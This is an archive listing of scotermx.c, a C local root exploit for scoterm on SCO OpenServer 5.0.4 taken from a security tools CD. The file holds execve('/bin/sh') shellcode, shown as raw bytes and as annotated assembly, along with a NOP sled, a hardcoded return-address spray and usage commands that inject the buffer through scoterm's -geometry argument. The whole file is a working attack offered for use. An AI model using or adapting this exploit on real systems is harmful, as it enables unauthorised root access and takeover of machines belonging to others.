home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / remote / scotermx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  85 lines
  1.  
  2. /*
  3.  * <scotermx.c> Local root exploit 
  4.  *
  5.  * Offset: scoterm (SCO OpenServer 5.0.4)
  6.  * 0 -> From an open scoterm (without display parameter)
  7.  * 2500 -> From remote telnet (with display parameter)
  8.  *
  9.  * Usage: 
  10.  * $ cc scotermx.c -o scotermx
  11.  * $ scoterm 
  12.  * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
  13.  *                      or
  14.  * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
  15.  *
  16.  * Note: scoterm need to be run from a valid x-display
  17.  *
  18.  * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99) 
  19.  *
  20.  * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
  21.  *
  22.  */ 
  23.  
  24.  
  25. #include <stdlib.h>
  26. #include <stdio.h>
  27.  
  28.  
  29. char hell[]=
  30. "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  31. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  32. "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  33.  
  34. /*
  35. char hell[]=
  36. "\xeb\x1b" // start: jmp uno 
  37. "\x5e" // dos: popl %esi
  38. "\x31\xdb" // xorl %ebx,%ebx
  39. "\x89\x5e\x07" // movb %bl,0x7(%esi)
  40. "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
  41. "\x88\x5e\x11" // movb %bl,0x11(%esi)
  42. "\x31\xc0" // xorl %eax,%eax
  43. "\xb0\x3b" // movb $0x3b,%al
  44. "\x8d\x7e\x07" // leal 0x07(%esi),%edi
  45. "\x89\xf9" // movl %edi,%ecx
  46. "\x53" // pushl %ebx
  47. "\x51" // pushl %ecx
  48. "\x56" // pushl %esi
  49. "\x56" // pushl %esi
  50. "\xeb\x10" // jmp execve
  51. "\xe8\xe0\xff\xff\xff" // uno: call dos
  52. "/bin/sh"
  53. "\xaa\xaa\xaa\xaa"
  54. "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
  55. */
  56.  
  57.                        
  58. #define OFF 0x80452ff   // SCO OpenServer 5.0.4
  59. #define ALINEA 1
  60. #define LEN 2000
  61.                        
  62.  
  63. int main(int argc, char *argv[]) {
  64.  
  65. int offset=0;
  66. char buf[LEN];
  67. int i;
  68.  
  69. if(argc < 2) {
  70.         printf("Usage: scotermx <offset>\n"); 
  71.         exit(0); }
  72. else {
  73.         offset=atoi(argv[1]); }
  74.  
  75. memset(buf,0x90,LEN);
  76. memcpy(buf+1000,hell,strlen(hell));
  77. for(i=1100+ALINEA;i<LEN-4;i+=4)
  78.         *(int *)&buf[i]=OFF+offset;
  79.  
  80. for(i=0;i<LEN;i++)
  81.         putchar(buf[i]);
  82.         
  83. exit(0);        
  84. }
  85.